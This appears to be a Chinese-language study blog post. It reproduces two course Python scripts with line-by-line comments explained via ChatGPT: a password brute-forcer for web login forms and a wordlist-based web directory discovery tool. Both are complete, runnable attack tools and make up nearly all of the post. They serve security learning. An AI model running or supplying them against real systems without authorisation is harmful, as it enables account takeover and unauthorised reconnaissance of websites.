接下來會分享學習資料中提供的兩個不同的python腳本,分別是:暴力破解與目錄發現
一樣會請ChatGPT協助解釋
概述:
內容:
這段程式碼是一個簡單的暴力破解工具,用於對指定的帳號進行密碼暴力破解。它通過逐行讀取密碼文件中的密碼,然後將這些密碼與用戶名一起發送到指定的頁面URL進行登入嘗試。程式會檢查每次嘗試的回應中是否包含特定的失敗字串,如果沒有包含該字串,則表示登入成功並輸出用戶名和密碼。否則,程式會繼續嘗試下一個密碼。
import requests
from termcolor import colored
# 請求使用者輸入登入頁面的URL
url = input('[+] Enter Page URL: ')
# 請求使用者輸入要進行暴力破解的帳號使用者名稱
username = input('[+] Enter Username For The Account To Bruteforce: ')
# 請求使用者輸入包含密碼列表的檔案名稱
password_file = input('[+] Enter Password File To Use: ')
# 請求使用者輸入登入失敗時會顯示的訊息,用以判斷密碼是否正確
login_failed_string = input('[+] Enter String That Occurs When Login Fails: ')
# 請求使用者輸入Cookie值,用於需要Session的頁面,可選
cookie_value = input('Enter Cookie Value(Optional): ')
# 定義暴力破解函數,接受使用者名稱和URL作為參數
def cracking(username, url):
# 從密碼文件中讀取每一行密碼
for password in passwords:
# 去除密碼前後的空白字元
password = password.strip()
# 印出目前正在嘗試的密碼,使用紅色顯示
print(colored(('Trying: ' + password), 'red'))
# 構建要發送的表單資料,包含使用者名稱、密碼和提交按鈕
data = {'username': username, 'password': password, 'Login': 'submit'}
# 如果使用者有提供Cookie值,則使用GET請求並帶上Cookie進行暴力破解
if cookie_value != '':
response = requests.get(url, params={'username': username, 'password': password, 'Login': 'Login'}, cookies={'Cookie': cookie_value})
# 否則使用POST請求進行暴力破解
else:
response = requests.post(url, data=data)
# 檢查回應內容中是否包含登入失敗的提示訊息
if login_failed_string in response.content.decode():
# 如果包含失敗訊息,則表示密碼不正確,繼續嘗試下一個密碼
pass
else:
# 如果不包含失敗訊息,表示密碼正確,印出正確的使用者名稱和密碼,並結束程式
print(colored(('[+] Found Username: ==> ' + username), 'green'))
print(colored(('[+] Found Password: ==> ' + password), 'green'))
exit()
# 打開密碼文件,並將其內容傳遞給cracking函數進行暴力破解
with open(password_file, 'r') as passwords:
cracking(username, url)
# 如果所有密碼都嘗試過但沒有成功,則輸出密碼不在列表中的訊息
print('[!!] Password Not In List')
這段程式碼是一個簡單的目錄爆破工具,用於嘗試在指定的目標URL下找到有效的目錄。它通過從指定的文件中讀取目錄名稱,然後將這些名稱附加到目標URL,向生成的完整URL發送HTTP GET請求。對於每一個成功返回回應的URL(即未出現連接錯誤),程式會將該URL輸出,表示該目錄存在於目標網站上。
import requests # 導入requests模組,用於發送HTTP請求
# 請求使用者輸入目標網址(不包括協議前綴 "http://")
target_url = input('[*] Enter Target URL: ')
# 請求使用者輸入包含目錄名稱的文件名
file_name = input('[*] Enter Name Of The File Containing Directories: ')
# 定義一個函式,向指定的URL發送GET請求
def request(url):
try:
# 嘗試發送HTTP GET請求
return requests.get("http://" + url)
except requests.exceptions.ConnectionError:
# 如果發生連接錯誤,忽略並返回None(不拋出異常)
pass
# 打開使用者提供的文件(以讀取模式)
file = open(file_name, 'r')
# 逐行讀取文件中的內容
for line in file:
# 去除行末尾的換行符號和空白字符,得到目錄名稱
directory = line.strip()
# 拼接完整的URL(目標網址加上目錄名稱)
full_url = target_url + '/' + directory
# 向拼接好的URL發送請求,並接收回應
response = request(full_url)
# 如果回應不為None(即沒有發生連接錯誤)
if response:
# 輸出已發現的目錄路徑
print('[*] Discovered Directory At This Path: ' + full_url)